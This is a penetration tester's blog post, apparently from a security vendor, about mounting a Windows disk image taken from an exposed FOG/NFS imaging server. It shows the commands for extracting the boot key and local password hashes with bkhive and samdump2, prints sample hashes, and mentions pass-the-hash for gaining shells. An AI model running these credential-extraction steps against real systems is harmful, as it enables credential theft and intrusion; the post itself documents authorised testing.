Trustwave Rapid Response: CrowdStrike Falcon Outage Update. Learn More

Trustwave Rapid Response: CrowdStrike Falcon Outage Update. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

OS Image Wrangling

On most PenTests, alot of research goes into the things you find along the way. You find obscure software and other setups that can be a goldmine if you spend the time to do some research. On a recent test, I came across a FOG Server install. FOG is a open-source cloning setup, much like Norton Ghost. It pulled its images from a NFS share, and I just so happened to be in the /24 that was allowed to access it.

I mounted the NFS share and began to poke around. I found a Win7 folder with an image file in it:

/mnt# ls /WKSTNWin7d1.mbr  d1p1.img


I pulled the image file down to my box and did some analysis. It looks like FOG can use Part image for creating and restoring partitions. Trusty 'file' confirmed this:

$ file sys.img.000 sys.img.000: PartImage file version 0.6.1 volume 0 type ntfs device /dev/sda2, original filename pigz2, not compressed


After some reading on Part image, I devised a way to mount the image. First, I had to create a blank image file the same size as the partition:

$ dd if=/dev/zero of=disk.img bs=1M count=1722217222+0 records in17222+0 records out18058575872 bytes (18 GB) copied, 202.771 s, 89.1 MB/s


Then I assigned that file to a loopback device:

$ sudo losetup -f --show disk.img /dev/loop2


Then I installed Partimage, and used it to recover the Win7 image to the loopback device:

$ sudo partimage restore /dev/loop5 sys.img.000


Partimage

This took quite a while, as the image was an entire 16GB NTFS disk image. Once Part image finished doing its magic, I was able to just mount the loopback device as a NTFS partition:

$ sudo mount -t ntfs /dev/loop2 ./img


At this point, I was able to browse the filesystem. Excellent! Of course, the first place I head is to where the Registry stores its goodies, and used bkhive to dump the syskey bootkey from the SYSTEM hive:

/tmp/img/Windows/System32/config/RegBack$ bkhive SYSTEM keybkhive 1.1.1 by Objectif Securitehttp://www.objectif-securite.choriginal author: ncuomo@studenti.unina.itRoot Key : CMI-CreateHive{F10156JA-9DA3-4EDS-966E-5J29D135544}Default ControlSet: 001Bootkey: c612713d2aac9a51cd56b1ef6a62637f


Then I used samdump2 in conjunction with the bootkey and the SAM hive to dump the local usernames and password hashes:

/tmp/img/Windows/System32/config/RegBack$ samdump2 SAM keysamdump2 1.1.1 by Objectif Securitehttp://www.objectif-securite.choriginal author: ncuomo@studenti.unina.itRoot Key : CMI-CreateHive{655441A9-11D8-66B8-HEHK-3044323D5DEDSC}Administrator:500:aad3b435b51404eeaad3b435b51404ee:cbd7c6f3abd1cf5ef9b8645d1a96568e:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


Blamo! Mix 1 part luck with 2 parts Pass the Hash, and you've got shells on half a dozen boxes ;)

Latest SpiderLabs Blogs

Cloudy with a Chance of Hackers: Protecting Critical Cloud Workloads

If you've been following along with David's posts, you'll have noticed a structure to the topics: Part I: The Plan, Part II: The Execution and now we move into Part III: Security Operations. Things...

Read More

Trustwave Rapid Response: CrowdStrike Falcon Outage Update

Trustwave is proactively assessing and monitoring our clients who may have been impacted by CrowdStrike’s recently rolled-out update for its Windows users. The critical issue identified with...

Read More

Using AWS Secrets Manager and Lambda Function to Store, Rotate and Secure Keys

When working with Amazon Web Services (AWS), we often find that various AWS services need to store and manage secrets. AWS Secrets Manager is the go-to solution for this. It's a centralized service...

Read More